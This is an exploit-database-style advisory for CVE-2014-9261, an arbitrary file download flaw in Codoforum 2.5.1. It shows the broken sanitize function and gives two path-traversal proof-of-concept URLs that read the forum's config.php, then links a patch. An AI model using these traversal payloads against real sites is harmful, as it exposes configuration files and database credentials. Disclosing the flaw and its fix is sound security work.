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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Codoforum 2.5.1 Arbitrary File Download
# Date: 23-11-2014
# Software Link: https://codoforum.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9261

1. Description
  
str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

    str_replace("..", "", $name);
    str_replace("%2e%2e", "", $name);

    return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:
  
Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip